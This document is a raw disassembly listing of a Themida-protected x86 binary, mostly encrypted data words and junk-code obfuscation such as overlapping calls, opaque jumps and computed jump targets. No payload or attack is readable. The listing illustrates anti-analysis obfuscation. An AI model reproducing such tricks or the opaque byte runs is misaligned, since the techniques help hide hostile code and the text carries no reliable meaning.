		dd 30D90AB5h, 11715689h, 75B89DA1h, 0F45FB809h,	0DA4924C6h
		dd 0B4ADE959h, 0E7F5C939h, 86F3355Ch, 3E7B810h,	27971809h
		dd 128202EFh, 90983324h, 496FD23Fh, 0E102AD5Ch,	0BA3E7349h
		dd 0C6F9A04Ah, 0A8752683h, 668E97h, 24AA0000h, 2B8856C6h
		dd 605D59C9h, 16978C8Ah, 790070A6h, 91018146h, 5BCB2F04h
		dd 72E2465Bh, 644BC644h, 0A81C88E5h, 2DCD0A97h,	972EC097h
		dd 5537E387h, 53000000h, 8856C624h, 5C5ACA2Bh, 60D03063h
		dd 83B15936h, 0C09E0E6Eh, 75A11173h, 0F2F51CA7h, 0A7781086h
		dd 0D334E288h, 0F2507766h, 4A67F382h, 9D9575E5h, 0B639C524h
		dd 0C62D6946h, 1086F286h, 36B9FAE4h, 426D24C6h,	900083B0h
		dd 1A2EBBFAh, 1B697A8h,	0D2000000h, 61C924h, 0E3BBABB3h
		dd 0F1250Ah, 20231383h,	4814679h, 669CA94h, 1199F496h
		dd 0A2213D6Dh, 169BE182h, 745B8A93h, 3B0C9AF2h,	0B2112214h
		dd 0E3627C42h, 1693E3BEh, 61DF4FB0h, 44DBBA50h,	0DB8A7FE7h
		dd 0FBDD6819h, 3C63E2D4h, 0C2169310h, 0DC5F6857h, 0DF61526Ch
		dd 0EFB8486Fh, 0A4B30955h, 0B9A3A7C6h, 93CCC70Ah, 21A4A616h
		dd 1693CCF8h, 0ED9DB283h, 8C57BF3Ch, 0D54F2BB6h, 0A4BDF9D6h
		dd 28DFD747h, 2A893E71h, 426FDBBAh, 0CEF158C0h,	4D3950FCh
		dd 0BC3F3462h, 0D530634Ch, 0A3068565h, 299DBDDEh, 143h
		dd 3DAD121Fh, 0BABE54Dh, 6AD903DBh, 1086F227h, 0A9E2F5C6h
		dd 19D5055h, 390C5238h,	169B4B39h, 0D9C3F3C4h, 0FDED5DD8h
		dd 1F3FAF0Ch, 0CB8C6A36h, 97736D6Ch, 54C427FCh,	0E75B7C62h
		dd 5DCB065Fh, 0BFF767C6h, 809E1CEh, 3CFB3BABh, 0DE5D6A55h
		dd 92C3876Eh, 0F0275B86h, 883678Ah, 9DBD2EA5h, 65AC1745h
		dd 81693EAh, 60E75337h,	0E5000000h, 0C939BAF7h,	0C55F0CDh
		dd 0EF1693EAh, 4F082CDEh, 0C580E162h, 1086F29Ch, 35614E5Fh
		dd 3B08B258h, 9022330Bh, 1DA91907h, 3D084E3Ch, 9086DA34h
		dd 0B4EF5B7h, 0F29086DAh, 0AD080E21h, 9086DA64h, 0A1AD2087h
		dd 85AEB0E0h, 82D4B626h, 86DABEC3h, 526C3D10h, 9773E361h
		dd 75B8FCh, 0ABD40000h,	0D903DB0Bh, 1E959D8h, 9C0616A2h
		dd 20162716h, 0B540B013h, 0E71FD7Eh, 3AF989Eh, 0CEF9A282h
		dd 3E785778h, 932095B7h, 0FFAE5B16h, 1AFB6BC8h,	0F8CBEC8Ch
		dd 169326D1h, 9AA48B9Ch, 0B1F9022Bh, 26102110h,	0F83EAE0Dh
		dd 0D1218CFDh, 0FBEF5FE0h, 0ADB1E195h, 80B62684h, 8359DB8Fh
		dd 0AD5DCD2Eh, 973D2F0Eh, 53F2EC1Ah, 2D6BE0Eh, 8A2EDCEDh
		dd 4F50DCB9h, 0F051DD62h, 0D5BBAF80h, 0C4EDF121h, 4016F464h
		dd 0A42DB885h, 0ACEABB16h, 0FAC434B7h, 0CDC939B9h, 0CF7B1AF0h
		dd 9D671C06h, 806A5EF3h, 0D6C03093h, 0ED94C76Fh, 8FA46657h
		dd 0F875BE2Eh, 0D9B18E88h, 5BD8EFDEh, 17400AEBh, 4DEA4D4Bh
		dd 0BC835414h, 3C18FBC9h, 0C526E387h, 0F0506155h, 0ABAF9680h
		dd 8FFF80B1h, 0CA0FB687h, 0B157013Bh, 0DF4FB3E0h, 8D04E6D7h
		dd 0BA46A522h, 0EE7C838h, 432A221h, 2696191Ah, 35844h
		dd 2F340000h, 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h
		dd 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h
		dd 0C368783Ch, 8900006Dh, 89522404h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 242C895Ch, 81E38953h, 4C3h,	4EB8300h
		dd 5C241C87h, 50243C89h, 694280B8h, 2E0C14Ah, 7831CF05h
		dd 0C38953DCh, 585BDD89h, 243C8B54h, 6804C483h,	6B8Fh
		dd 8F242C89h, 34FF0847h, 0C4815F24h, 4,	57242C8Bh, 0C781E789h
		dd 4, 8704C783h, 0E95C243Ch, 0FFF83D12h, 94E22BF8h, 788DC0B7h
		db 0B7h, 44h, 75h
; ---------------------------------------------------------------------------


loc_5FDB7B:				; CODE XREF: sub_5FD52F:loc_5FD5F9j
		mov	eax, 61D40C7h
		add	eax, ebp
		jmp	eax
sub_5FD52F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 35FF35CFh, 51311157h, 598C66B8h, 12E7F998h, 21520607h
		dd 50F8A648h, 76826E7Fh, 47559DCBh, 42320FB5h, 75236951h
		dd 1C6E9814h, 649317E2h, 10F548D7h, 3856DD83h, 42808D8Dh
		dd 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0DDC4E5C3h, 9D09C6D3h, 6151821h, 27218D89h
		dd 8E90615h, 98000000h,	0ACC8138h, 0C79D4132h, 1504CD85h
		dd 595006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 62128AEh,	8F5A803Fh, 0BE665017h
		dd 85C7B439h, 6151115h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5FDC43
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDC43	proc near		; CODE XREF: Themida_:005FDC3Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5FDC43	endp

; ---------------------------------------------------------------------------
		db 0B3h
		dd 66134B0Ch, 0B5FFC28Bh, 6151D45h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 83C35646h, 410219A1h, 0C995FFCDh
		dd 6A061502h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4B72C350h, 0D08B6889h,	95FF006Ah
		db 21h,	2Eh, 15h
; ---------------------------------------------------------------------------


loc_5FDCAF:				; DATA XREF: Themida_:0057C150o
		push	es
		mov	eax, eax
		jmp	short loc_5FDCBF
; ---------------------------------------------------------------------------
		dd 0FC88B654h, 81CDB06Dh
		db 0Fh,	27h, 0AAh
; ---------------------------------------------------------------------------


loc_5FDCBF:				; CODE XREF: Themida_:005FDCB2j
		call	near ptr loc_5FDCD2+1
		int	0C3h		; used by BASIC	while in interpreter
		insb
		push	ss
		jbe	short near ptr loc_5FDD0C+1
		pop	esi
		jg	short near ptr loc_5FDCCD+1


loc_5FDCCD:				; CODE XREF: Themida_:005FDCCBj
		mov	edi, 3E7CA423h


loc_5FDCD2:				; CODE XREF: Themida_:loc_5FDCBFp
		mov	dh, 66h
		sub	eax, 0F59720Ch
		mov	bh, 0D6h
		add	ecx, 5F77h
		mov	edx, [ebp+6151011h]
		sub	edi, edi
		jmp	loc_5FDCFA
; ---------------------------------------------------------------------------
		db 39h
		dd 450697FEh, 79F64E12h
		db 67h,	0Dh
; ---------------------------------------------------------------------------


loc_5FDCFA:				; CODE XREF: Themida_:005FDCEAj
					; Themida_:005FDD8Cj
		mov	ebx, [ecx+edi]
		cld
		add	ebx, 409CA30Bh
		mov	dh, 0F7h
		sub	ebx, 1BC297EDh


loc_5FDD0C:				; CODE XREF: Themida_:005FDCC8j
		sub	[ebp+61526B5h],	edi
		sub	ebx, 34D926C6h
		mov	eax, [ebp+6151E89h]
		push	ebx
		jmp	loc_5FDD29
; ---------------------------------------------------------------------------
		dd 5EBA8C62h
; ---------------------------------------------------------------------------
		push	eax


loc_5FDD29:				; CODE XREF: Themida_:005FDD1Fj
		pop	dword ptr [ecx+edi]
		add	[ebp+615244Dh],	ebx
		jmp	loc_5FDD4B
; ---------------------------------------------------------------------------
		db 66h
		dd 6A0BCCB0h, 0C8805DE2h, 3276EB1h, 0B44A7E80h
; ---------------------------------------------------------------------------
		inc	ebx
		xchg	eax, esp
		xchg	eax, esi


loc_5FDD4B:				; CODE XREF: Themida_:005FDD32j
		sub	edi, 1D2141A4h
		mov	dx, 0C03Ch
		add	edi, 1D2141A0h
		adc	si, 8B03h
		cmp	edi, 0FFFFA164h
		jnz	loc_5FDD8A
		mov	eax, 44ACA93Ah
		jmp	loc_5FDDA3
; ---------------------------------------------------------------------------
		dw 7748h
		dd 3198A22Ch, 0BE0284EDh, 0DE65BF33h, 3A02E83Fh
; ---------------------------------------------------------------------------
		xchg	dh, al


loc_5FDD8A:				; CODE XREF: Themida_:005FDD66j
		mov	dh, al
		jmp	loc_5FDCFA
; ---------------------------------------------------------------------------
		db 0C5h, 69h, 6Dh
		dd 7746807Bh, 271B65EAh, 124FBEE6h
		db 80h,	0B7h, 5Ch
; ---------------------------------------------------------------------------


loc_5FDDA3:				; CODE XREF: Themida_:005FDD71j
		jmp	short $+2
		jmp	loc_5FE189
; ---------------------------------------------------------------------------
		dw 1F9Fh
		dd 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh, 0DCCFCCA9h
		dd 24F161E1h, 5D38A80Fh, 1FF666C6h, 0B243B310h,	43863D21h
		dd 2A169BB1h, 40BCF569h, 24023AD0h, 73C055C5h, 979CA212h
		dd 9B74A212h, 0C0AA1A98h, 2A88A9B5h, 0E7837CBAh, 0BF56C62Ah
		dd 0D3A21270h, 506EDE5Ch, 7B6FDF63h, 4CBC43F0h,	8AFA7AA9h
		dd 0C67D5FEBh, 1086F283h, 80B1596Ah, 85F57703h,	0C0E6CBAAh
		dd 6316A321h, 7EEE4D99h, 55C52B38h, 5CCC2889h, 88D1745Ah
		dd 73169ADDh, 2FDD8DA2h, 88F87879h, 0C9F9BDEDh,	0D4BDE0F5h
		dd 0A2E90340h, 0BFCF76C8h, 3E108037h, 0B88B516Dh, 1CB7B791h
		dd 759F4B5Ch, 0B7B7CF0Eh, 0B8A6B81Ch, 0B7B7C40Dh, 0F496A71Ch
		dd 0B23712BDh, 54A3D95Eh, 2A6CDC5Fh, 0EA85B555h, 0C3000000h
		dd 999D0D6Eh, 244EC6A4h, 536056C6h, 0F6D87FEFh,	1CCE3EBDh
		dd 0F212AB1Ah, 111086h,	7CA5203Eh, 0FF1086F2h, 0CD23C2Eh
		dd 34D646A7h, 710474F7h, 5B4EE8EDh, 8E4F175Fh, 5CCC2FDCh
		dd 0E430D05Ah, 243A1585h, 9BA02DA1h, 3F1F3016h,	6C1E8EF2h
		dd 0DF4FB1C2h, 0F868CAD7h, 70D2C1BEh, 139A1600h, 0A70E37ACh
		dd 0BC2C8F38h, 0FD2DD1D9h, 0A80E62E1h, 0BE8F108Eh, 97076B78h
		dd 7E0A6AC7h, 0C4A689F9h, 308CA5A9h, 89E92AC0h,	0AB749D28h
		dd 2EF71CACh, 790774A6h, 301F3073h, 97C77406h, 0B985FCC7h
		dd 0F7C81CACh, 74F73C1Eh, 4D3D1204h, 5B639363h,	0B64CD8E8h
		dd 4AAE031Ah, 7E3DCDAh,	0A3908697h, 84C6AF1Fh, 0A8A6EB5Ah
		dd 2BDC02B9h, 0D3EBBA8Eh, 0D5B5863Ah, 3066D654h, 0F5C9F9CAh
		dd 0B92D574Eh, 80152602h, 36DF4FB3h, 0DB0BABF2h, 4003D903h
		dd 1086F219h, 64E0D3E4h, 2FA716F4h, 4E169C1Ah, 0CB28397Dh
		dd 0C790BA5Bh, 0CEFFC8A0h, 8235D50Ah, 375F1C55h, 813DF09Eh
		dd 6B331CD7h, 0D141C0F1h, 2438A39h, 73C01693h, 49CAA010h
		dd 6DDD5EEAh, 9A7B5429h, 8FFF83B0h, 5DCD2EDBh, 7BEB4859h
		dd 79BA7C3Bh, 0ADE486F6h, 0F666C502h, 0A2213B1Fh, 1693027Fh
		dd 5A43BB95h, 8B8D029h,	2512863Fh, 0F9D6045Fh, 3317A211h
		dd 409D9DBDh, 9B000000h, 248B1796h, 0A28D82B4h,	4BEF9B74h
		dd 3DB0BABh, 8B85FCD9h,	5957CC28h, 0A99BBE85h, 51621086h
		dd 0A9920AB9h, 0C2D3169Bh, 28B9DBFCh, 0DEE45B30h, 26C4EB5Bh
		dd 878FBE8h, 16476Dh, 4F630000h, 4A6DDD62h, 485F8D4Eh
		dd 6E9B4F0Dh, 879C9A0Ah, 5BE1B424h, 0C154C424h,	587D4816h
		dd 1B1086F2h, 0F1420C0Ah, 0C8492191h, 0B8BBFB6Bh, 410D5E51h
		dd 86F25382h, 0F697C010h, 0A31371BAh, 9CBD9A73h, 336307BDh
		dd 0F051D96Ah, 7C535272h, 99BEE362h, 6C3D1086h,	0B8199A89h
		dd 8699C40Dh, 0B996A710h, 0EC6572DCh, 6AAF1671h, 1110867Fh
		dd 10923700h, 67564129h, 0BF1h,	0C724C500h, 0F1525F57h
		dd 324AF481h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
		dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
		dd 0E3895378h, 4C381h, 0EB830000h, 241C8704h, 2414895Ch
		dd 557168h, 24048900h, 81E18951h, 4C1h,	4E98100h, 87000000h
		dd 895C240Ch, 0BD55242Ch, 73D14678h, 0CC0503B8h, 8BE83175h
		dd 0C481242Ch, 4, 83B68h, 24248900h, 4240481h, 5D000000h
		dd 0E5B85050h, 2936082Eh, 58042444h, 8108458Fh,	2EE50845h
		dd 2C8B3608h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h,	3E95C24h
		dd 74FFF837h, 318117F6h, 1960C0B4h
		db 73h
; ---------------------------------------------------------------------------


loc_5FE189:				; CODE XREF: Themida_:005FDDA5j
		mov	eax, 61D46B2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0FEEEh
; ---------------------------------------------------------------------------
		mov	esi, 9D4A091Bh
		push	es
		cmp	ecx, [edi-717BF8A8h]
		test	ds:422A85C0h, edx
		adc	[ecx-4Eh], ch
		cmp	eax, 0A61B1D8h
		pop	es
		mov	byte ptr [edi],	2Dh
		or	dh, ah
		sar	dword ptr [eax], 0C4h
		xchg	eax, ebp
		inc	edx
		jns	short loc_5FE21B
		jle	loc_5FE1C7
		jg	$+6


loc_5FE1C7:				; CODE XREF: Themida_:005FE1BBj
		jno	loc_5FE1E1
		jmp	loc_5FE1E1
; ---------------------------------------------------------------------------
		dw 0DD3Ch
		dd 4CE0845Bh, 7578EB89h, 8B4D4D87h
		db 7Ah
; ---------------------------------------------------------------------------


loc_5FE1E1:				; CODE XREF: Themida_:loc_5FE1C7j
					; Themida_:005FE1CDj
		popa
		mov	esi, 66A92AF9h
		jbe	loc_5FE1F0
		movsx	eax, dx


loc_5FE1F0:				; CODE XREF: Themida_:005FE1E7j
		mov	ebx, eax
		call	near ptr loc_5FE204+2
		sub	eax, 9C7F83B5h
		lahf
		arpl	[ebp-29h], bx
		add	al, 0F2h
		inc	ecx
		pop	ebp


loc_5FE204:				; CODE XREF: Themida_:005FE1F2p
		cmp	eax, 11E834h
; ---------------------------------------------------------------------------
byte_5FE209	db 2 dup(0), 22h	; CODE XREF: Themida_:005FE23Dj
		dd 24B2D189h, 0BA7AA1F2h, 0A7035CBCh
		db 4Fh,	85h, 7Ah
; ---------------------------------------------------------------------------


loc_5FE21B:				; CODE XREF: Themida_:005FE1B9j
		cmpsb
		jmp	loc_5FE231
; ---------------------------------------------------------------------------
		db 0DDh, 30h, 0ABh
		dd 0F8DE3428h, 6D46C620h, 0D33C4022h
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_5FE231:				; CODE XREF: Themida_:005FE21Cj
		pop	ebx
		pop	ecx
		sbb	ax, 13BAh
		call	near ptr loc_5FE242+1
		jg	short near ptr byte_5FE209
		or	edi, edi
		xchg	eax, ebx


loc_5FE242:				; CODE XREF: Themida_:005FE238p
		lock sbb ebx, 6957A688h
		pop	ebx
		mov	dh, 5Bh
		mov	bh, dl
		cmc
		mov	di, dx
		pusha
		adc	si, 3C6Ch
		mov	eax, esi
		popa
		jmp	loc_5FE269
; ---------------------------------------------------------------------------
		dd 0DED1FD47h, 0F6BB3473h
		db 2Ch
; ---------------------------------------------------------------------------


loc_5FE269:				; CODE XREF: Themida_:005FE25Bj
		mov	cl, 89h
		mov	ecx, 2DA7778Ch
		mov	ebx, esi
		jmp	loc_5FE284
; ---------------------------------------------------------------------------
		db 67h
		dd 0EFE05D82h, 199376E6h, 0ABC20CFCh
; ---------------------------------------------------------------------------


loc_5FE284:				; CODE XREF: Themida_:005FE272j
		movsx	ebx, si
		movzx	esi, bx
		mov	edi, ecx
		mov	esi, ebx
		jg	loc_5FE297
		mov	ax, cx


loc_5FE297:				; CODE XREF: Themida_:005FE28Ej
		mov	ecx, 482A2352h
		mov	cx, dx
		mov	ah, dl
		mov	ecx, edx
		push	ecx
		add	ebx, 291F484h
		pop	edx
		jz	$+6
		mov	edx, 8877A2Ah
		sbb	si, 1E62h
		adc	edx, 258B5967h
		mov	si, 69E0h
		mov	ecx, 46F27E37h
		mov	di, bx
		call	near ptr loc_5FE2D6+1
		sti
		sbb	ebp, [ebp-1Bh]


loc_5FE2D6:				; CODE XREF: Themida_:005FE2CDp
		jnz	short loc_5FE33E
		mov	eax, esi
		pop	ecx
		mov	ecx, esi
		sub	di, 0A2ACh
		mov	cx, ax
		mov	dx, 5FABh
		jmp	loc_5FE2FF
; ---------------------------------------------------------------------------
		or	[ecx-63EA95ECh], ebx
		dec	ebp
		add	al, 30h
		push	5E54543Ah
		dec	edx
		adc	al, 4Dh


loc_5FE2FF:				; CODE XREF: Themida_:005FE2E9j
		mov	ebx, 1C8CD07Ah
		mov	bh, 9Fh
		mov	bh, al
		mov	bl, 73h
		mov	bx, dx
		mov	eax, 750E20F1h
		movsx	eax, ax
		mov	eax, ecx
		jnz	loc_5FE328
		jmp	loc_5FE328
; ---------------------------------------------------------------------------
		dw 0C902h
		dd 778DD969h
; ---------------------------------------------------------------------------


loc_5FE328:				; CODE XREF: Themida_:005FE317j
					; Themida_:005FE31Dj
		xor	esi, 7CFA2849h
		and	cx, 68A9h
		mov	eax, ecx
		js	loc_5FE33E
		add	ch, 0C7h


loc_5FE33E:				; CODE XREF: Themida_:loc_5FE2D6j
					; Themida_:005FE335j
		mov	ecx, 21C4694Ah
		mov	al, 27h
		jle	loc_5FE34F
		mov	di, 37E3h


loc_5FE34F:				; CODE XREF: Themida_:005FE345j
					; Themida_:loc_5FE3B6j
		call	sub_5FE361
		ror	byte ptr [ecx],	cl
		xlat
		adc	[ecx], ch
		push	68h
		mov	ah, 0A9h
		ja	short loc_5FE3B6
		mov	al, 0D7h

; =============== S U B	R O U T	I N E =======================================



sub_5FE361	proc near		; CODE XREF: Themida_:loc_5FE34Fp
		pop	eax
		push	eax
		cmc
		pop	ecx
		mov	edi, edx


loc_5FE367:				; CODE XREF: sub_5FE361+25j
		push	edi
		mov	edx, edi
		pop	esi
		mov	ax, cx
		mov	edi, esi
		xor	di, 0C529h
		push	ecx
		pusha
		push	edi
		pop	edi
		add	cx, 9BF5h
		popa
		pop	esi
		push	eax
		call	near ptr loc_5FE392+4
		jecxz	short loc_5FE367
		cdq
		adc	bh, [edx+0Dh]
		imul	esp, ebp, 13657289h


loc_5FE392:				; CODE XREF: sub_5FE361+20p
		mov	al, ds:6034BE9Dh
sub_5FE361	endp ; sp-analysis failed

		popa
		pop	edx
		pop	edx
		mov	cx, 0F54Ah
		push	esi
		cmc
		pop	edx
		pusha
		jle	loc_5FE3AB
		add	ch, 0B2h


loc_5FE3AB:				; CODE XREF: Themida_:005FE3A2j
		jmp	near ptr loc_5FE3BB+2
; ---------------------------------------------------------------------------
		dd 5B165B57h
		db 0C7h, 28h
; ---------------------------------------------------------------------------


loc_5FE3B6:				; CODE XREF: Themida_:005FE35Dj
		jo	short loc_5FE34F
		cwde
		or	al, 3Eh


loc_5FE3BB:				; CODE XREF: Themida_:loc_5FE3ABj
		mov	byte ptr [ecx+0Fh], 82h
		or	[eax], al
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		ja	loc_5FE3CC
		pusha
		popa


loc_5FE3CC:				; CODE XREF: Themida_:005FE3C4j
		jmp	loc_5FE3D9
; ---------------------------------------------------------------------------
		fdivr	qword ptr [edx-49h]
		push	esi
		push	es
		setalc
		push	esi
		pop	ss
		assume ss:nothing


loc_5FE3D9:				; CODE XREF: Themida_:loc_5FE3CCj
		call	sub_5FE3ED
; ---------------------------------------------------------------------------
		dw 3F94h
		dd 0EF70D08Eh, 458E1A76h, 0C5B652Ah
; ---------------------------------------------------------------------------
		xchg	eax, ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5FE3ED	proc near		; CODE XREF: Themida_:loc_5FE3D9p
		mov	ax, 2980h
		pop	ebx
		jno	loc_5FE3FE
		xor	ebx, 5117779Bh


loc_5FE3FE:				; CODE XREF: sub_5FE3ED+5j
		jnp	$+6
		jmp	loc_5FE41A
; ---------------------------------------------------------------------------
		db 1Ch,	0FBh, 67h
		dd 99FA312Fh, 182C75A7h, 0B78E5C59h
; ---------------------------------------------------------------------------
		mov	bl, dl


loc_5FE41A:				; CODE XREF: sub_5FE3ED+17j
		clc
		cld
		jz	loc_5FE438
		jmp	loc_5FE438
; ---------------------------------------------------------------------------
		db 0ECh
		dd 0DBBA334Bh, 5079B958h, 0DA49202h, 11C08B63h
; ---------------------------------------------------------------------------


loc_5FE438:				; CODE XREF: sub_5FE3ED+2Fj
					; sub_5FE3ED+35j
		push	edi
		call	sub_5FE447
		jmp	near ptr 0D3D008EBh
sub_5FE3ED	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4Bh
		db 68h,	0CFh, 4Ah

; =============== S U B	R O U T	I N E =======================================



sub_5FE447	proc near		; CODE XREF: sub_5FE3ED+4Cp

; FUNCTION CHUNK AT 005FE4A9 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005FE4FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005FE511 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005FE530 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005FE548 SIZE 0000003E BYTES

		call	near ptr loc_5FE45A+1
		call	near ptr 0A927BFA8h
		inc	edx
		popa
		add	[ecx], ecx
		and	al, 0C3h
		jnz	short loc_5FE4A9
		push	cs


loc_5FE45A:				; CODE XREF: sub_5FE447p
		sub	eax, 0B05A5B5Ah
sub_5FE447	endp ; sp-analysis failed

		db	2Eh
		mov	eax, 7263CF8Ch
		push	eax
		pop	eax
		movsx	ebx, di
		and	ebx, 366EF9CFh
		mov	bl, dh
		mov	ecx, 6130FE95h
		mov	ax, bx
		movzx	eax, bx
		pusha
		mov	edi, eax
		add	cx, 4A6Dh
		popa
		jmp	loc_5FE49A
; ---------------------------------------------------------------------------
		db 95h
		dd 243FCA0Dh, 0C5EC7629h, 79B36AC2h
		db 7Ah,	22h
; ---------------------------------------------------------------------------


loc_5FE49A:				; CODE XREF: Themida_:005FE486j
		jo	loc_5FE4A3
		sbb	ah, 0FDh


loc_5FE4A3:				; CODE XREF: Themida_:loc_5FE49Aj
		jb	loc_5FE4AE
; START	OF FUNCTION CHUNK FOR sub_5FE447


loc_5FE4A9:				; CODE XREF: sub_5FE447+10j
		mov	esi, 65F8B03Bh


loc_5FE4AE:				; CODE XREF: Themida_:loc_5FE4A3j
		call	near ptr loc_5FE4C4+2
		xchg	eax, esi
		mov	byte ptr [ebx+ebp-3Ah],	6Fh
		mov	edi, 0F725B1C1h
		push	eax
		nop
		cmp	edi, [ebp-15h]
		lodsb


loc_5FE4C4:				; CODE XREF: sub_5FE447:loc_5FE4AEp
		cmp	eax, 605ADD8Ah
		push	esi
		mov	ax, si
		pop	edx
		popa
		movsx	edi, bx
		mov	si, 0D50Ch
		jns	loc_5FE4E1
		pusha
		pusha
		popa
		popa


loc_5FE4E1:				; CODE XREF: sub_5FE447+90j
		movsx	edx, cx
		xor	cl, 0F1h
		or	ecx, 690397D3h
		mov	dx, 2335h
		jmp	loc_5FE4FF
; END OF FUNCTION CHUNK	FOR sub_5FE447
; ---------------------------------------------------------------------------
		dw 0C38Bh
		dd 3C2F452h
		db 2Dh,	24h, 67h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FE447


loc_5FE4FF:				; CODE XREF: sub_5FE447+AAj
		jmp	loc_5FE511
; END OF FUNCTION CHUNK	FOR sub_5FE447
; ---------------------------------------------------------------------------
		dd 6A223FD8h, 1CEC7F13h, 3144034Bh
		db 0E1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FE447


loc_5FE511:				; CODE XREF: sub_5FE447:loc_5FE4FFj
		clc
		jnp	loc_5FE523
		pusha
		sbb	ax, 3299h
		mov	bx, 0D385h
		popa


loc_5FE523:				; CODE XREF: sub_5FE447+CBj
		jmp	loc_5FE530
; END OF FUNCTION CHUNK	FOR sub_5FE447
; ---------------------------------------------------------------------------
		mov	ds:22108AF5h, al
		lds	edi, [eax-41h]
; START	OF FUNCTION CHUNK FOR sub_5FE447


loc_5FE530:				; CODE XREF: sub_5FE447:loc_5FE523j
		movzx	edx, bx
		push	edi
		jmp	loc_5FE548
; END OF FUNCTION CHUNK	FOR sub_5FE447
; ---------------------------------------------------------------------------
		db 58h,	1Eh, 0CFh
		dd 0B7E5F720h, 60BE31ABh, 0DE535477h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FE447


loc_5FE548:				; CODE XREF: sub_5FE447+EDj
		pop	ebx
		movzx	eax, si
		mov	dx, ax
		or	di, 8B2Ah
		mov	bx, 240h
		mov	cx, ax
		sub	dh, 66h
		pusha
		mov	esi, 6DAABAC5h
		mov	bx, 269Ch
		popa
		call	near ptr loc_5FE57F+3
		sbb	eax, 0EFEC40F2h
		jb	short near ptr loc_5FE5CD+3
		mov	ds:0CAA42196h, eax
		mov	al, ds:0AB4E81AAh


loc_5FE57F:				; CODE XREF: sub_5FE447+122p
		mov	esi, 830F4A3Ah
		add	al, [eax]
; END OF FUNCTION CHUNK	FOR sub_5FE447
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		push	eax
		pop	edx
		pop	eax
		pusha
		pusha
		pusha
		popa
		mov	dl, bh
		popa
		mov	edi, 3A31E816h


loc_5FE597:				; CODE XREF: Themida_:005FE615j
		popa
		jnz	loc_5FE59F
		cld


loc_5FE59F:				; CODE XREF: Themida_:005FE598j
		push	edi
		sub	bl, 0CEh
		pop	ebx
		mov	cx, bx
		mov	ebx, eax
		mov	eax, 1036F59Ah
		mov	ecx, 3839E7BCh
		pusha
		mov	ax, 5D46h
		push	ebx
		push	eax
		pop	edi
		pop	edx
		popa
		and	dx, 802Eh
		mov	edx, edi
		cld
		movsx	ecx, ax
		and	di, 0B7A2h


loc_5FE5CD:				; CODE XREF: sub_5FE447+12Cj
		jmp	loc_5FE5D7
; ---------------------------------------------------------------------------
		dw 0CEC4h
		db 27h,	0A3h, 82h
; ---------------------------------------------------------------------------


loc_5FE5D7:				; CODE XREF: Themida_:loc_5FE5CDj
		and	bh, 0D8h
		clc
		movsx	ebx, ax
		jmp	loc_5FE5F3
; ---------------------------------------------------------------------------
		db 6Dh
		dd 0A65AF135h, 0B543232Ch, 0F84B4339h
		db 7, 0E8h, 7Ah
; ---------------------------------------------------------------------------


loc_5FE5F3:				; CODE XREF: Themida_:005FE5DEj
		clc
		mov	eax, 51FD20FFh
		jo	$+6
		jp	$+6
		jg	loc_5FE610
		sub	dx, 0C2D5h


loc_5FE610:				; CODE XREF: Themida_:005FE605j
		call	near ptr sub_5FE626
		ja	short loc_5FE597
; ---------------------------------------------------------------------------
		db 62h
		dd 62998FFCh, 0B390989Bh, 0E88FE5BFh
		db 32h,	67h

; =============== S U B	R O U T	I N E =======================================



sub_5FE626	proc far		; CODE XREF: Themida_:loc_5FE610p
		mov	edi, 2DFFF890h
		pop	esi
		push	eax
		movzx	edx, bx
		pop	ecx
		mov	ebx, esi
		jmp	loc_5FE642
; ---------------------------------------------------------------------------
		dd 754D3FE9h, 8596DF3Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------


loc_5FE642:				; CODE XREF: sub_5FE626+Dj
		movsx	eax, cx
		jmp	loc_5FE655
; ---------------------------------------------------------------------------
		dw 2E39h
		dd 0D9E99747h, 70BA460Dh
		db 0A9h
; ---------------------------------------------------------------------------


loc_5FE655:				; CODE XREF: sub_5FE626+1Fj
		sbb	esi, 71832970h
		pusha
		mov	ax, 0C6EBh
		call	near ptr locret_5FE66A+1
		dec	eax
		mov	edi, ebx
		das
		cdq

locret_5FE66A:				; CODE XREF: sub_5FE626+3Ap
		retn	0DE80h
sub_5FE626	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0B9h, 5Eh, 61h
		dd 0BE8h, 18A2AC00h, 651828FFh,	3D872501h, 68F0Fh, 870F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	dx, 99AFh
		mov	dh, bl
		call	near ptr loc_5FE6A5+4
		adc	al, 0DFh
